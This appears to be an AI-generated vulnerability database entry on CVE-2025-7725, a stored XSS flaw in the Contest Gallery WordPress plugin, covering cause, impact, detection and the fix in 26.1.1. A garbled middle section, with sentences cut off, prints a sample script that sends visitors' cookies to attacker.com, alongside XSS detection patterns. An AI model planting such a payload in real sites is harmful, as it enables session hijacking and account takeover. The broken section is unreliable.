
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-7725 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Contest Gallery" WordPress plugin (formally titled: Photos, Files, YouTube, Twitter, Instagram, TikTok, Ecommerce Contest Gallery – Upload, Vote, Sell via PayPal or Stripe, Social Share Buttons, OpenAI). It affects all versions up to and including 26.1.0, and stems from insufficient input sanitization and output escaping in the plugin's comment feature. The vulnerability was published on August 1, 2025, with Wordfence credited as the assigning authority. It carries a CVSS v3.1 base score of 7.2 (High) (Wordfence, Red Hat CVE).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting). The vulnerability exists in the comment feature of the Contest Gallery plugin, where user-supplied input is neither properly sanitized on input nor escaped on output, allowing arbitrary JavaScript to be stored in the database. Because no authentication is required (PR:N) and no user interaction is needed to trigger the stored payload (UI:N), an unauthenticated remote attacker can submit a malicious comment containing a JavaScript payload that executes in the browser of any user who subsequently views the affected page. The scope is changed (S:C), meaning the injected script can affect resources beyond the vulnerable plugin's own context (Wordfence, ZeroPath Blog).
Successful exploitation allows unauthenticated attackers to persistently inject malicious JavaScript into WordPress pages served to all site visitors, including administrators. This can result in session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further exploitation of authenticated users (e.g., admin account takeover leading to full site compromise). Confidentiality and integrity are both impacted at a low-to-moderate level per the CVSS scoring, with no direct availability impact (Wordfence, Red Hat CVE).
No public exploit code or active in-the-wild exploitation has been reported as of the time of publication. The EPSS score is approximately 0.055% (0.000550), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, though CISA referenced it in its weekly vulnerability bulletin for the week of July 28, 2025. The low attack complexity and lack of authentication requirements make it relatively straightforward to exploit if a site is running a vulnerable version (CISA Bulletin, Wordfence).
/wp-content/plugins/contest-gallery/).<script>document.location='https://attacker.com/steal?c='+document.cookie;</script> or a more obfuscated variant to bypass any client-side filters.contest-gallery) from unexpected or anonymous sources; entries with unusual or encoded content in comment body fields.wp_comments or plugin-specific comment tables containing <script>, javascript:, onerror=, onload=, or other event handler patterns in comment fields./wp-content/plugins/contest-gallery/ that may indicate follow-on compromise after admin session hijacking (Wordfence).Update the Contest Gallery plugin to version 26.1.1 or later, which includes the fix addressing insufficient input sanitization and output escaping in the comment feature. The patch is available via the WordPress plugin repository (changeset 3334370). As an interim workaround, site administrators can disable the comment feature within the plugin settings or restrict access to gallery pages until the update is applied. Regularly auditing plugin comments for suspicious content and enabling a Web Application Firewall (WAF) with XSS rules can provide additional defense-in-depth (Wordfence, WordPress Changeset).
Wordfence disclosed the vulnerability and published it in their weekly WordPress vulnerability report for the period of July 28–August 3, 2025, noting it as part of a broader set of plugin vulnerabilities tracked that week. CISA included it in its weekly vulnerability bulletin (SB25-216) for the week of July 28, 2025. No significant independent researcher commentary or notable social media discussion has been identified beyond standard vulnerability aggregator coverage (Wordfence Weekly Report, CISA Bulletin).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."